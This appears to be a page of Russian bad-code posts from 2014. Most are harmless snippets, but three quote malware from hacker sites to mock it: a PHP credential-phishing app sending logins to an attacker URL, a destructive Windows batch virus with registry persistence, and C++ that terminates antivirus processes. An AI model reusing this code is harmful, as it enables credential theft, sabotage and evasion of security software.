-
+143
- 1
- 2
- 3
- 4
- 5
<?php
echo <<<HERE
Чё-т я не врубаюсь, каким образом на ЭТОМ сайте работает система оценивания. Если мой код минусуют, то это, значит, плохой говнокод получился ? Т.е. хороший на самом деле ? И наоборот: как плюсуют, значит хороший говнокод, т.е. риал извращённый ? Лол, параллельная вселенная с парадоксальными искажёнными правилами написания кода. Компиляторы пускают разноспектральные фонтаны жидкости и говнокод делают ПРОСТА АФИГЕССССНЫМ КОДАМ, а TRUE-код закидывает камнями.
HERE;
?>
ЙАААААААААЗЬ!!!!! ДОБРО ПОЖАЛОВАТЬ В ПАРАЛЛЕЛЬНУЮ ВСЕЛЕННУЮ!!! УХАХАХАХХА!!!
CodeStar,
15 Июля 2014
-
+146
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
<script type="text/JavaScript">
var zap = prompt ("Введите, сударь, необходимое вам число:","");
document.write("<h1>Типа рандом чисел:</h1><br>");
var rand = new Date();
var a = rand.getSeconds() + 1;
document.write("<div class='vid0'>Текущая секунда: <span>"+a+"</span></div><br>");
document.write("<div class='vid0'>Введённое значение: <span>"+zap+"</span></div><br>");
var number=(rand.getSeconds())*zap%a;
var number=number+1;
document.write("<div class='vid0'>Типа результат рандома: <span>" + number + "</span></div><br>");
document.write("<div class='vid1'>Хош задать другое значение ? Обнови страницу.</div>");
</script>
Один кулхоцкир, которого звать Лмнсв Пшк и который кодит на таком КРУТОМ ( ВАЩЕЕЕЕЕЕЕ ) языке, как «АЖПАСКАЛЬ», доколупался ко мне ( игноррируя то, что я и не программист, а, скорее, просто любитель ) со словами, что кодер ОБЯЗАТЕЛЬНО должен писать библиотеки, или он нубяра. Я же любитель пострадать фигнёй ( если желание есть ) но ни один язык в полном объёме не знаю. ._. И абсолютно ХЗ, как создать крутую библиотеку. А Пшк как доколупался, то и не отвянет. Ну, корочь, выдумал типа задание: создать рандом без использования встроенных в JS функций. Корочь, в итоге получился закостыленный велосипед. Во. Гениально звучит.
CodeStar,
15 Июля 2014
-
+26
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
#include "stdafx.h"
#include <stdio.h>
#include <iostream>
#include <conio.h>
using namespace std;
int main(){
setlocale(0,"");
int mss[4][3] = {4,2,4,3,1,9,1,6,9,1,1,9};
printf("Значение ячеек массива:\n");
cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
int *p1=&mss[1][0], *p2=p1;
printf("Значения созданных указателей *p1 и *p2:\n");
cout<<*p1<<" "<<*p2<<"\n\n";
mss[3][*p1-1]=(mss[2][0]-3)*(*p1);
printf("Значение mss[3][2] после присваивания ему значения (mss[2][0]-3)*(*p1):\n");
cout<<mss[3][2]<<"\n\n";
mss[0][2]++;
printf("Значение mss[0][2] после его инкремента:\n");
cout<<mss[0][2]<<"\n\n";
*p1=(!mss[3][0]<*p2)?5*mss[3][0]/4:mss[0][2]-mss[1][2];
printf("Значение *p1 после присваивания 5*1/4=5/4=1,25=1 по условию:\n");
cout<<*p1<<"\n\n";
*p1=*p2/(mss[0][0]+1);
printf("Значение *p1 после присваивания *p2/(mss[0][0]+1):\n");
cout<<*p1<<"\n\n";
*p1=mss[0][0];
printf("Значение *p1 после присваивания mss[0][0]:\n");
cout<<*p1<<"\n\n";
p2=&mss[2][2];
printf("Значение p2 после присваивания &mss[2][2]:\n");
cout<<p2<<"\n\n";
*p2=*p2%4+mss[2][2];
printf("Значение *p2 после присваивания *p2%4+mss[2][2]:\n");
cout<<*p2<<"\n\n";
printf("Результирующие значения ячеек массива после всех вычислений:\n");
cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
printf("[...Нажмите на любую клавишу для завершения работы программы...]");
_getch();
}
Я ХЗ, что это за долбонутая хренотень, но такое задание дали знакомому на экзамене, вместо которого пришлось это решать, да ещё так, что бы экзаменаторша поверила, что это сделал он ( я же ему писал и скидывал на ВК ). А он же в этом нуб похлеще меня ( я мало на плюсах писал ). Короче, это самое неэффективное и упоротое решение среди всех. Я нафига-то подключил тут conio.h, хотя его использовал 1 раз вместо system("pause"), которое было бы кстати. А ещё тут раньше было дофига комментариев, дабы чувак хоть что-то понял. Но этот код вышел в итоге настолько долбонутым, что эти комментарии даже его сделали нечитаемым вовсе. :DDDDDDD Один знакомый чувак, что на кодера учится, охренел от вида этого безобразия. Ещё одна упртсть - то, что я чередовал printf и cout. Ну и подключил в итоге лишнюю библиотеку, хотя можно было использовать что-то одно и не подключать всякую хрень. Короче, этот код ужасен. Но я писал и похлеще. :D Особенно когда пришлось однажды другому уже чуваку на ВК скидывать решения, которые я писал в блокнот с планшета с опечатками. Это было ужасно...
CodeStar,
15 Июля 2014
-
+73
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
import java.awt.AWTEvent;
import java.awt.Component;
import java.awt.event.MouseEvent;
import java.util.ArrayList;
import java.util.List;
import javax.swing.JLayeredPane;
public class ContainerOperations extends JLayeredPane {
private static final long serialVersionUID = 1L;
private CardPositionInContainer cardPosition;
private List<Card> rem = new ArrayList<Card>();
public List<Card> getRem() {
return rem;
}
public ContainerOperations() {
enableEvents(AWTEvent.MOUSE_EVENT_MASK);
}
public void addFromListInToContainer(List<Card> list) {
if (getComponentCount() == 0)
addInToEmpty(list);
else
appendIfContains(list);
}
private void appendIfContains(List<Card> list) {
int fromIndex = highestLayer() + 1;
int toIndex = highestLayer() + 1 + list.size();
appendFromLayerToLayer(list, fromIndex, toIndex);
}
private void addInToEmpty(List<Card> list) {
int fromIndex = 0;
int toIndex = list.size();
cardPosition.setCardPosition(0);
appendFromLayerToLayer(list, fromIndex, toIndex);
}
private void appendFromLayerToLayer(List<Card> list, int fromIndex,
int toIndex) {
int listIndex = 0;
for (int layer = fromIndex; layer < toIndex; layer++) {
Card card = list.get(listIndex++);
cardPosition.setCardPosition(layer);
card.setLocation(cardPosition.getCardPosition());
add(card, new Integer(layer));
}
}
@Override
protected void processMouseEvent(MouseEvent e) {
rem.clear();
if (e.getID() == MouseEvent.MOUSE_PRESSED) {
Component comp = getComponentAt(e.getPoint());
addInToRemListIfMousePressed(comp);
}
}
private void addInToRemListIfMousePressed(Component comp){
if (comp instanceof Card) {
Component mark = (Card) comp;
int markedLayer = getMarkedLayer(mark);
addInToRemList(markedLayer);
}
}
private Integer getMarkedLayer(Component marked) {
return getComponentCount() - getComponentZOrder(marked) - 1;
}
private void addInToRemList(int layerOfmark) {
for (int i = layerOfmark; i < highestLayer() + 1; i++) {
Component[] card = getComponentsInLayer(i);
rem.add((Card) card[0]);
}
}
}
spivti,
15 Июля 2014
-
+129
- 1
- 2
- 3
- 4
Я не считаю, что писать сайты на С++ - это бред. По-моему бред - это использовать динамически типизированный скрипт, типа PHP, у которого даже нормального ООП нет.
Я писал на PHP и знаю, как это не удобно. Я считаю, если создать нормальную удобную обертку, то на С++ писать гораздо удобнее.
Самый главный минус С++ в том, что свой сайт я могу держать только на своем собственном сервере, и не могу его залить на какой-нибудь бесплатный хостин,
как в случае с PHP.
Прафессианальные сайтостроители с гейдева просвещают.
gost,
15 Июля 2014
-
+71
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
import java.io.IOException;
import java.io.RandomAccessFile;
//класс для работы с беззнаковым типом
public class UnsignedTypes {
private RandomAccessFile nameOfFile;
//конструктор
UnsignedTypes(RandomAccessFile f) {
nameOfFile = f;
}
// Статическая функция которая на вход
// принимает знаковую переменную(любого типа)
//а на выходе возращает беззнаковый long
//если ваш компилятор ругается не забудьте
// превести вашу переменную к типу long явно
// UnsignedTypes.convert((long)yourvariable)
static public long convert(long signedvariable){
long ans=0;
for(int i=0;i<64;i++){
ans+=(int)Math.pow(2,i)*(Math.abs(signedvariable % 2));
signedvariable>>=1;
}
return ans;
}
//функция чтения WORD(unsigned short)
public long readWord() throws IOException {
byte[] mas = new byte[2];
nameOfFile.readFully(mas,0,2);
return read(mas,2);
}
//функция чтения DWORD(unsigned int)
public long readDWord() throws IOException {
byte[] mas = new byte[4];
nameOfFile.readFully(mas,0,4);
return read(mas, 4);
}
//функция используеая для работы двух верхних функций
private static long read(byte mas[],int numberOfByte) {
long ans = 0;
for (int i = 0; i <numberOfByte; i++) {
for (int j = 0; j < 8; j++) {
//System.out.print(Math.abs(mas[i] % 2));
ans+=(int)Math.pow(2,j+i*8)*(Math.abs(mas[i] % 2));
mas[i] >>= 1;
}
//System.out.print(" ");
}
return ans;
}
//функция чтения 1байтового Char из бинарного файла
public char readChar() throws IOException {
char ans =0;
byte b=nameOfFile.readByte();
ans=(char) b;
return ans;
}
}
Нуфф сказал.
http://cybern.ru/java-antivirus.html
gost,
15 Июля 2014
-
+157
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
$adres = $_SERVER["REQUEST_URI"];
if (strpos($adres, "?"))
{
$adres = substr( $adres, strpos($adres, "?") + 1 ) ;
$T = explode('?', $adres) ;
$id = $T[0];
$count_product = $T[1];
}
Добавление товара в корзину на одном из интернет-магазинов через AJAX.
После нажатия кнопки "В корзину" происходит запрос /js/ajax-basket.php?1966?2
где "1966" - id товара, а "2" - количество
Собственно код выше - это обработка данного запроса
0day,
15 Июля 2014
-
+130
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
PHP Devel Studio 2.0
Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
И если вы знаете языки программирования тогда для вас нет предела в этой программе!
Скрипт:
$edit1 = c('Form1->edit1')->text;
$edit2 = c('Form1->edit2')->text;
$combobox1 = c('Form1->combobox1')->inText;
$url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");
"Вирусы" на "PHP". Сбылась мечта идиота...
http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8
gost,
15 Июля 2014
-
+128
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
@echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:URAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user "Idiot you Hacked" /add >nul
net user "Bitch you Hacked" /add >nul
net user "Durak you Hacked" /add >nul
net user "Kritin you Hacked" /add >nul
net user "Gavno you Hacked" /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
:x ;
Start mspaint
goto x ;
:x ;
Start Calc
goto x ;
copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
del %0 >nul
" Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED'а, вирусо-писательства. Если же нет. Читаем все заново))"
Вирусо-писатель SMOKED просвещает.
http://hacker-club27.ucoz.ru/index/kak_napisat_svoj_virus_bez_vsjakikh_prog ramm/0-6
gost,
15 Июля 2014
-
+26
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}
> {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
> TerminateProcess(hProcess,0);
Наивный макак.
http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/
gost,
15 Июля 2014